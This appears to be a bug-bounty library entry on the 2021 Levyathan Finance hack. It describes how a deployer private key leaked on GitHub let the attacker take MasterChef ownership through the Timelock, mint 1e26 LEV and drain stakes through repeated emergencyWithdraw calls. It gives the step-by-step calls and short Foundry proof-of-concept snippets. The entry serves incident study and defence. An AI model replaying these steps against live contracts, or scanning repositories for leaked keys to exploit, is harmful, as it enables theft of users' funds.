# Levyathan Finance: leaked mint key and emergencyWithdraw drain

Levyathan Finance leaked a minting-capable private key on GitHub; attacker used timelock to transfer MasterChef ownership, minted 1e26 LEV, and drained staking via emergencyWithdraw.

- Payout: Real-world hack
- Severity: critical
- Program: Levyathan Finance
- Analysis by: DeFiHackLabs
- Disclosed: 2021-07-28
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2021-07/Levyathan_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20210728-levyathan
- Tags: area:web3 domain:web3 impact:funds-loss impact:integrity kind:incident platform:defihacklabs sev:critical tech:evm technique:source-review vuln:access-control vuln:business-logic vuln:secrets-leak

**Target:** BSC MasterChef staking contract and Timelock
**Root cause:** A wallet private key with minting capability was committed to GitHub, and the MasterChef emergencyWithdraw function allowed repeated withdrawals without proper accounting.
**Steps:**
1. Obtain leaked private key for Deployer wallet `0x6DeBA0F8aB4891632fB8d381B27eceC7f7743A14` from GitHub.
2. As Deployer, call `Timelock.schedule(address(MasterChef), 0, abi.encodePacked(bytes4(keccak256('transferOwnership(address)')), abi.encode(attacker)), bytes32(0), salt, 172800)`.
3. Advance time by 172800 seconds and call `Timelock.execute(...)` to make attacker owner of MasterChef.
4. As attacker, call `MasterChef.recoverLevOwnership()` then `LEV.mint(attacker, 100_000_000_000_000_000_000_000_000)`.
5. Call `MasterChef.emergencyWithdraw(4)` repeatedly to drain staked funds.
**How found:** Private key was publicly exposed on GitHub; attacker likely discovered it via repository scanning and used timelock to escalate privileges.
**Exploitation:** Attacker used leaked Deployer key to schedule and execute a timelock transaction transferring MasterChef ownership to themselves, then minted 1e26 LEV tokens and repeatedly called emergencyWithdraw to drain user stakes.
**Escalation:** Ownership transfer enabled minting and control over MasterChef, allowing unlimited token mint and fund drain.
**Insight:** Scan GitHub for committed private keys of privileged wallets; timelock delays can be bypassed if the owner key is compromised, and emergencyWithdraw functions often lack reentrancy or accounting checks.

## Proof of concept (copied exactly from the original report)

**Attacker recovers ownership and mints 1 octillion LEV**

```
vm.startPrank(address(attacker));
        MasterChef.recoverLevOwnership();
        LEV.mint(address(attacker), 100_000_000_000_000_000_000_000_000);
        vm.stopPrank();
```

**Repeated emergencyWithdraw drain by user2**

```
vm.startPrank(address(user2));
        MasterChef.emergencyWithdraw(4);
        vm.stopPrank();
```